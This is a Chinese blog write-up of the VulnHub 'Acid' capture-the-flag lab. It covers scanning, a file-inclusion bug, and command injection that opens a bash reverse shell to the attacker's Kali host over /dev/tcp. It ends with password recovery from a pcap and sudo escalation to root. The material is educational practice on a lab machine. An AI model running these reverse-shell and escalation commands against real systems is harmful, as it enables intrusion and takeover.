【VulnHub】Acid靶场复盘

最新推荐文章于 2024-04-09 16:18:48 发布
最新推荐文章于 2024-04-09 16:18:48 发布
阅读量5.7k 收藏 3
点赞数
分类专栏： CTF 文章标签： 安全 linux web安全
版权声明：本文为博主原创文章，遵循 CC 4.0 BY-SA 版权协议，转载请附上原文出处链接和本声明。
本文链接：https://blog.csdn.net/redwand/article/details/123269248
版权

0x01 环境搭建

1、靶机下载地址
2、攻击机kali地址192.168.199.134

0x02 靶机发现

将攻击机和靶机的网络模式都设置为nat模式，用nmap -sn发现主机，关闭靶机，再扫一遍，其中少的主机为靶机ip。

0x03 信息收集

1、端口扫描，发现33447端口

┌──(root💀kali)-[~]
└─# nmap -p- 192.168.199.128
Starting Nmap 7.91 ( https://nmap.org ) at 2022-03-03 20:42 EST
Nmap scan report for 192.168.199.128
Host is up (0.00044s latency).
Not shown: 65534 closed ports
PORT      STATE SERVICE
33447/tcp open  unknown
MAC Address: 00:0C:29:BB:65:29 (VMware)

Nmap done: 1 IP address (1 host up) scanned in 6.64 seconds

web访问33447端口
在这里插入图片描述

2、网页扫描

（1）使用big.txt字典扫描，发现images目录和其下数据库文件Thumbs.db，无果。

┌──(root💀kali)-[~]
└─# dirb http://192.168.199.128:33447 /usr/share/wordlists/dirb/big.txt                                255 ⨯

-----------------
DIRB v2.22    
By The Dark Raver
-----------------

START_TIME: Thu Mar  3 20:48:26 2022
URL_BASE: http://192.168.199.128:33447/
WORDLIST_FILES: /usr/share/wordlists/dirb/big.txt

-----------------

GENERATED WORDS: 20458                                                         

---- Scanning URL: http://192.168.199.128:33447/ ----
==> DIRECTORY: http://192.168.199.128:33447/css/                                                            
==> DIRECTORY: http://192.168.199.128:33447/images/                                                         
+ http://192.168.199.128:33447/server-status (CODE:403|SIZE:306)                                            
                                                                                                            
---- Entering directory: http://192.168.199.128:33447/css/ ----
                                                                                                            
---- Entering directory: http://192.168.199.128:33447/images/ ----
+ http://192.168.199.128:33447/images/Thumbs.db (CODE:200|SIZE:31744)                                       
                                                                                                            
-----------------
END_TIME: Thu Mar  3 20:49:00 2022
DOWNLOADED: 61374 - FOUND: 2

（2）继续查看网页源码，发现提示字符串，0x643239334c6d70775a773d3d

在这里插入图片描述
使用decoder两次解密得到wow.jpg
在这里插入图片描述
常规思路，我们会怀疑图片中存在隐写信息，使用cat命令发现图片末尾有16进制数字
在这里插入图片描述
将3761656530663664353838656439393035656533376631366137633631306434进行ASCII hex转码，得到
7aee0f6d588ed9905ee37f16a7c610d4，这是一串md5。 去cmd5解密，得到63425，推测是一个密码或者ID。至此发现wow.jpg可能是出题者留下的一个坑，此处需要果断放弃，看其他条件。

（3）再返回看主页，发现title标签处有提示，发现新目录，这也是CTF常见提示套路。

在这里插入图片描述
在这里插入图片描述

（4）扫描/Challenge目录，发现子目录及PHP页面

┌──(root??kali)-[~]
└─# dirb http://192.168.199.128:33447/Challenge /usr/share/wordlists/dirb/big.txt

-----------------
DIRB v2.22    
By The Dark Raver
-----------------

START_TIME: Thu Mar  3 22:03:29 2022
URL_BASE: http://192.168.199.128:33447/Challenge/
WORDLIST_FILES: /usr/share/wordlists/dirb/big.txt

-----------------

GENERATED WORDS: 20458                                                         

---- Scanning URL: http://192.168.199.128:33447/Challenge/ ----
==> DIRECTORY: http://192.168.199.128:33447/Challenge/css/                                                  
==> DIRECTORY: http://192.168.199.128:33447/Challenge/includes/                                             
==> DIRECTORY: http://192.168.199.128:33447/Challenge/js/                                                   
==> DIRECTORY: http://192.168.199.128:33447/Challenge/styles/                                               
                                                                                                            
---- Entering directory: http://192.168.199.128:33447/Challenge/css/ ----
                                                                                                            
---- Entering directory: http://192.168.199.128:33447/Challenge/includes/ ----
                                                                                                            
---- Entering directory: http://192.168.199.128:33447/Challenge/js/ ----
                                                                                                            
---- Entering directory: http://192.168.199.128:33447/Challenge/styles/ ----
                                                                                                            
-----------------
END_TIME: Thu Mar  3 22:04:23 2022
DOWNLOADED: 102290 - FOUND: 0

提交任意参数，观察页面为php页面在这里插入图片描述

（5）使用-X参数扫描，发现cake.php、error.php、include.php、index.php页面

┌──(root??kali)-[~]
└─# dirb http://192.168.199.128:33447/Challenge /usr/share/wordlists/dirb/big.txt -X .php

-----------------
DIRB v2.22    
By The Dark Raver
-----------------

START_TIME: Thu Mar  3 22:09:32 2022
URL_BASE: http://192.168.199.128:33447/Challenge/
WORDLIST_FILES: /usr/share/wordlists/dirb/big.txt
EXTENSIONS_LIST: (.php) | (.php) [NUM = 1]

-----------------

GENERATED WORDS: 20458                                                         

---- Scanning URL: http://192.168.199.128:33447/Challenge/ ----
+ http://192.168.199.128:33447/Challenge/cake.php (CODE:200|SIZE:496)                                       
+ http://192.168.199.128:33447/Challenge/error.php (CODE:200|SIZE:309)                                      
+ http://192.168.199.128:33447/Challenge/include.php (CODE:302|SIZE:0)                                      
+ http://192.168.199.128:33447/Challenge/index.php (CODE:200|SIZE:1333)

（6）访问include.php页面，发生302跳转

在这里插入图片描述
进入login页面，随便输入用户名密码，获得cookie，再访问include.php页面
在这里插入图片描述
上burpsuite发现文件包含漏洞，实现可读文件/etc/passwd
在这里插入图片描述

（7）由于没有上传点，再次访问cake.php，发现下级目录/Magic_Box

在这里插入图片描述

（8）继续-X参数扫描，发现low.php和command.php，command.php中有命令执行漏洞

在这里插入图片描述

0x03 漏洞利用

使用通过URL编码的命令进行bash反弹

bash -c 'bash -i >& /dev/tcp/192.168.199.134/6666 0>&1'

在这里插入图片描述
在这里插入图片描述

得到反弹shell

在这里插入图片描述

0x04 权限提升

1、python导入交互式shell

python -c 'import pty;pty.spawn("/bin/bash")'

2、进入/tmp目录，发现wget、gcc命令不存在，猜测题意非溢出提权，需要查找密码

┌──(root💀kali)-[~]
└─# nc -lvp 6666                                                                                         1 ⨯
listening on [any] 6666 ...
192.168.199.128: inverse host lookup failed: Unknown host
connect to [192.168.199.134] from (UNKNOWN) [192.168.199.128] 33055
bash: cannot set terminal process group (1430): Inappropriate ioctl for device
bash: no job control in this shell
www-data@acid:/var/www/html/Challenge/Magic_Box$ cd /tmp
cd /tmp
www-data@acid:/tmp$ wget
wget
The program 'wget' is currently not installed. To run 'wget' please ask your administrator to install the package 'wget'
www-data@acid:/tmp$ gcc
gcc
The program 'gcc' is currently not installed. To run 'gcc' please ask your administrator to install the package 'gcc'
www-data@acid:/tmp$

3、查看用户有两个acid和saman

www-data@acid:/tmp$ ls /home       
ls /home
acid
saman
www-data@acid:/tmp$ cat /etc/passwd
cat /etc/passwd
root:x:0:0:root:/root:/bin/bash
daemon:x:1:1:daemon:/usr/sbin:/usr/sbin/nologin
bin:x:2:2:bin:/bin:/usr/sbin/nologin
sys:x:3:3:sys:/dev:/usr/sbin/nologin
sync:x:4:65534:sync:/bin:/bin/sync
games:x:5:60:games:/usr/games:/usr/sbin/nologin
man:x:6:12:man:/var/cache/man:/usr/sbin/nologin
lp:x:7:7:lp:/var/spool/lpd:/usr/sbin/nologin
mail:x:8:8:mail:/var/mail:/usr/sbin/nologin
news:x:9:9:news:/var/spool/news:/usr/sbin/nologin
uucp:x:10:10:uucp:/var/spool/uucp:/usr/sbin/nologin
proxy:x:13:13:proxy:/bin:/usr/sbin/nologin
www-data:x:33:33:www-data:/var/www:/usr/sbin/nologin
backup:x:34:34:backup:/var/backups:/usr/sbin/nologin
list:x:38:38:Mailing List Manager:/var/list:/usr/sbin/nologin
irc:x:39:39:ircd:/var/run/ircd:/usr/sbin/nologin
gnats:x:41:41:Gnats Bug-Reporting System (admin):/var/lib/gnats:/usr/sbin/nologin
nobody:x:65534:65534:nobody:/nonexistent:/usr/sbin/nologin
systemd-timesync:x:100:104:systemd Time Synchronization,,,:/run/systemd:/bin/false
systemd-network:x:101:105:systemd Network Management,,,:/run/systemd/netif:/bin/false
systemd-resolve:x:102:106:systemd Resolver,,,:/run/systemd/resolve:/bin/false
systemd-bus-proxy:x:103:107:systemd Bus Proxy,,,:/run/systemd:/bin/false
syslog:x:104:110::/home/syslog:/bin/false
messagebus:x:105:112::/var/run/dbus:/bin/false
uuidd:x:106:113::/run/uuidd:/bin/false
dnsmasq:x:107:65534:dnsmasq,,,:/var/lib/misc:/bin/false
ntp:x:108:117::/home/ntp:/bin/false
whoopsie:x:109:118::/nonexistent:/bin/false
acid:x:1000:1000:acid,,,:/home/acid:/bin/bash
mysql:x:111:126:MySQL Server,,,:/nonexistent:/bin/false
saman:x:1001:1001:,,,:/home/saman:/bin/bash
www-data@acid:/tmp$

4、查看用户文件

这类提权题目一般是通过文件中查找普通用户密码，进而通过sudo或者suid提权，因此查找用户文件这条命令必不可少需要记忆并熟练使用

find / -user acid 2>/dev/null

进入到home目录，发现有两个普通用户，acid和saman，查看acid所属文件，发现流量包hint.pcapng

www-data@acid:/var/www/html/Challenge/Magic_Box$ cd /home
cd /home
www-data@acid:/home$ ls
ls
acid
saman
www-data@acid:/home$ find / -user acid 2>/dev/null
find / -user acid 2>/dev/null
/sbin/raw_vs_isi/hint.pcapng
/bin/pwn_me
/bin/pwn_me/chkrootkit.lsm
/bin/pwn_me/chkrootkit
/bin/pwn_me/README.chkwtmp
/bin/pwn_me/ACKNOWLEDGMENTS
/bin/pwn_me/chkdirs.c
/bin/pwn_me/ifpromisc.c
/bin/pwn_me/Makefile
/bin/pwn_me/chklastlog.c
/bin/pwn_me/strings.c
/bin/pwn_me/chkwtmp.c
/bin/pwn_me/README.chklastlog
/bin/pwn_me/COPYRIGHT
/bin/pwn_me/chkproc.c
/bin/pwn_me/README
/bin/pwn_me/chkutmp.c
/bin/pwn_me/check_wtmpx.c
/var/lib/lightdm-data/acid
/var/www/html/Challenge/less
/var/www/html/Challenge/less/style.less
/var/www/html/Challenge/css
/var/www/html/Challenge/css/style.css
/var/www/html/Challenge/css/style.css.save
/var/www/html/index.html
/var/www/html/images
/var/www/html/images/bg.jpg
/var/www/html/images/Thumbs.db
/var/www/html/images/wow.jpg
/var/www/html/css
/var/www/html/css/style.css
/home/acid
/home/acid/.xsession-errors.old
/home/acid/Public
/home/acid/.thumbnails
/home/acid/Desktop
/home/acid/.mozilla
/home/acid/.gconf
/home/acid/Videos
/home/acid/Templates
/home/acid/.config
/home/acid/Music
/home/acid/.profile
/home/acid/.bashrc
/home/acid/.sudo_as_admin_successful
/home/acid/Downloads
/home/acid/.xsession-errors
/home/acid/.dmrc
/home/acid/.Xauthority
/home/acid/.local
/home/acid/.local/share
/home/acid/.xscreensaver
/home/acid/.bash_history
/home/acid/.bash_logout
/home/acid/.cache
/home/acid/.cache/ibus
/home/acid/.cache/ibus/bus
/home/acid/.cache/ibus/bus/registry
/home/acid/.cache/update-manager-core
/home/acid/.cache/update-manager-core/meta-release
/home/acid/.cache/event-sound-cache.tdb.d08d798c4c9c42baa2b60403184f4c66.i686-pc-linux-gnu
/home/acid/.cache/lxpanel-indicator-plugin.log
/home/acid/.cache/fontconfig
/home/acid/.cache/fontconfig/cabbd14511b9e8a55e92af97fb3a0461-le32d4.cache-4
/home/acid/.cache/fontconfig/CACHEDIR.TAG
/home/acid/.cache/motd.legal-displayed
/home/acid/.cache/vmware
/home/acid/.cache/openbox
/home/acid/.cache/openbox/openbox.log
/home/acid/.cache/openbox/sessions
/home/acid/.cache/lxsession
/home/acid/.cache/lxsession/Lubuntu
/home/acid/.cache/lxsession/Lubuntu/run.log
/home/acid/.cache/usb-creator.log
/home/acid/.cache/gstreamer-1.0
/home/acid/.cache/gstreamer-1.0/registry.i686.bin
/home/acid/.cache/menus
/home/acid/.cache/mozilla
/home/acid/.dbus
/home/acid/Documents
/home/acid/.selected_editor
/home/acid/Pictures

5、流量包文件分析发现saman密码

将流量包cp到web目录，下载到kali，并且打开，过滤data，发现saman的密码1337hax0r

在这里插入图片描述

6、利用sudo配置不当提权

python导入pty生成交互式shell，使用su命令切换到saman，发现密码正确。发现sudo配置不当，权限过大，直接提权到root

www-data@acid:/home$ python -c 'import pty;pty.spawn("/bin/bash")'
python -c 'import pty;pty.spawn("/bin/bash")'
www-data@acid:/home$ ls
ls
acid  saman
www-data@acid:/home$ su - saman
su - saman
Password: 1337hax0r

saman@acid:~$ whoami
whoami
saman
saman@acid:~$ sudo -l
sudo -l
[sudo] password for saman: 1337hax0r

Matching Defaults entries for saman on acid:
    env_reset, mail_badpass,
    secure_path=/usr/local/sbin\:/usr/local/bin\:/usr/sbin\:/usr/bin\:/sbin\:/bin

User saman may run the following commands on acid:
    (ALL : ALL) ALL
saman@acid:~$ sudo su -
sudo su -
  ____                            _         _       _   _                 
 / ___|___  _ __   __ _ _ __ __ _| |_ _   _| | __ _| |_(_) ___  _ __  ___ 
| |   / _ \| '_ \ / _` | '__/ _` | __| | | | |/ _` | __| |/ _ \| '_ \/ __|
| |__| (_) | | | | (_| | | | (_| | |_| |_| | | (_| | |_| | (_) | | | \__ \
 \____\___/|_| |_|\__, |_|  \__,_|\__|\__,_|_|\__,_|\__|_|\___/|_| |_|___/
                  |___/                                                   
root@acid:~#
redwand
关注
  • 0
    点赞
  • 踩
  • 3
    收藏
    觉得还不错? 一键收藏
  • 0
    评论
专栏目录
渗透靶场——Vulnhub:Acid
tlovejr的博客
09-17 300
1、首先还是常规套路，kali攻击机器还有靶机均为net模式，然后扫描主机 2、找到存活靶机ip地址，然后我们继续开始信息收集 nmap -T4 -p- 192.168.40.130 3、访问8080端口没有结果，那么我们继续访问一下33447这个端口试一下 4、成功发现我们要继续做的这个界面，继续信息收集，目录扫描，但是并没有发现有用的信息 5、然后我们继续尝试一下robots.txt 6、发现也没有什么有用的信息，那么我们查看一下源码，看看有没有什么有用的信息 7、在查看源码的时候发现有一个有
ACID_pro4 ACID中文版本
03-09
**ACID Pro 4** 是一款由Sony Creative Software（现为Magix）开发的专业音乐制作软件，主要用于电子音乐创作和音频编辑。它以其创新的循环音乐制作理念而著名，为音乐制作人提供了一个强大且直观的工作环境。在这款...
vulnHub-sick0s1.1学习 两种解法
m0_50431798的博客
06-07 1129
查看cat /etc/shadow说是权限不足，那就提权，使用sudo -l查看权限，全all，那就可以使用sudo su提权，提权后再查看/etc/shadow文件。通过这个可以确定用户名大概率是admin，但是密码不清楚，那就尝试弱口令，弱口令不可以就进行爆破，不过这个尝试5次失败就会禁止30秒，可以通过其他方式进行绕过。使用dirsearch扫描可以看到/index.php/login/ ，一个登录链接。查看passwd表可以看到有/bin/bash的用户有root，sickos。
Vulnhub之acid靶机渗透流程
weixin_44255856的博客
08-03 1004
1，检查靶机主机是否存活。 2，检查靶机开放的端口并对端口进行识别 发现33447端口存活(存在web服务) 由于只存在web服务和apache服务，所以只能从web服务和apache服务下手。 3，首先直接御剑一把梭 大概看了下，先放在这里。 F12查看网页源码，发现存在注释。 0x643239334c6d70775a773d3d16进制转换为字符串d293LmpwZw==，最终解码出来...
Vulnhub-shenron-2：神龙2靶机渗透攻略
weixin_47311099的博客
02-10 3389
下载地址 https://www.vulnhub.com/entry/shenron-2,677/ 启动环境virtualbox，若启动报错更改虚拟机中usb配置为1.1即可 需要获得两个flag ​ 信息收集 nmap扫描 nmap -sC -sV 192.168.210.220 发现22ssh，80和8080http ​ ​ 网站信息 80端口 暂未发现有效信息 ​ 8080端口 打开这个鬼样子，需要添加dns解析才可正常访问 去kali的hosts文件中添加一下域名解析 再访问就正常了 发现
渗透测试 10 --- 扫描 web目录 (dirb、wfuzz、wpscan、nikto)
墨鱼菜鸡
07-17 3382
github 更多工具：https://github.com/topics/dirb github 上 fuzz 工具、字典：https://github.com/search?q=fuzz 当使用一个工具扫描完成后，如果没发现漏洞，可以使用其他 web 扫描工具再扫描下，因为每个工具可能侧重点不一样，扫描出来的漏洞就不一样。 关键字 ...
数据库的ACID特性术语详解
09-10
数据库的ACID特性是数据库管理系统（DBMS）中至关重要的概念，它确保了数据库操作的可靠性和一致性。ACID代表四个关键属性，分别是原子性（Atomicity）、一致性（Consistency）、隔离性（Isolation）和持久性...
AcidBox_reverseengineering_acid_
10-03
【标签】：“reverseengineering acid” 强调了这个工具的核心在于逆向工程，特别是与“acid”相关的部分可能是指 AcidBox 在处理复杂、难解的恶意软件时表现出的高效和深入分析能力。 综上所述，AcidBox 是一个...
ACID_2_0.zip
01-20
标题中的"ACID_2_0.zip"表明这是一个关于ACID的升级版本，可能是数据库事务处理或相关领域的软件包。ACID是数据库管理系统中的一种重要概念，代表了原子性（Atomicity）、一致性（Consistency）、隔离性（Isolation...
分布式-CAP与ACID原则
06-14
分布式-CAP与ACID原则转载整理......
Vulnhub靶场题解
08-24
介绍靶场的习题解答技巧，由红日团队精心编制，红日团队凭借多年经验于本文档
ACID 4.0 中文破解版
01-19
打开说明书，按照说明书里的步骤逐步安装即可！
ACID7 注册机
06-05
ony ACID Pro 7.0 注册机 ------------------------------ 测试通过2010 .8
dl-malic acid
06-05
NANJINGXIANGSHENGTAI INDUSTRY dl-malic acid MSDS
MySQL如何实现事务的ACID
09-08
【MySQL如何实现事务的ACID】 在MySQL数据库中，事务的ACID特性是其核心功能，确保了数据处理的可靠性和一致性。ACID分别代表原子性（Atomicity）、一致性（Consistency）、隔离性（Isolation）和持久性...
红日靶场7
m0_58595840的博客
01-11 1382
内网渗透
记录一次VulnHub 靶场——Escalate_Linux的渗透测试过程
最新发布
2401_84140140的博客
04-09 92
在结束之际，我想重申的是，学习并非如攀登险峻高峰，而是如滴水穿石般的持久累积。尤其当我们步入工作岗位之后，持之以恒的学习变得愈发不易，如同在茫茫大海中独自划舟，稍有松懈便可能被巨浪吞噬。然而，对于我们程序员而言，学习是生存之本，是我们在激烈市场竞争中立于不败之地的关键。一旦停止学习，我们便如同逆水行舟，不进则退，终将被时代的洪流所淘汰。因此，不断汲取新知识，不仅是对自己的提升，更是对自己的一份珍贵投资。让我们不断磨砺自己，与时代共同进步，书写属于我们的辉煌篇章。需要完整版PDF学习资源私我。
靶场攻略 | 网络安全靶场合集
Python_0011的博客
10-11 3731
1JAVA环境。
Vulnhub 渗透练习（四）—— Acid
shinygod的博客
02-17 579
dirbuster 扫目录find / - perm - u = s 2 > / dev / null 查找可用 suidfind / - user acid 2 > / dev / null 查找用户相关文件。
mysql acid
09-16
MySQL中的ACID是指数据库事务必须满足的四个特性：原子性(Atomicity)、一致性(Consistency)、隔离性(Isolation)和持久性(Durability)。原子性指事务是不可分割的最小执行单位，要么全部执行成功，要么全部回滚；一致...
评论
添加红包

请填写红包祝福语或标题

个

红包个数最小为10个

元

红包金额最低5元

当前余额3.43元 前往充值 >
需支付：10.00元
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付元
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明：

1.余额是钱包充值的虚拟货币，按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载，可以购买VIP、付费专栏及课程。

余额充值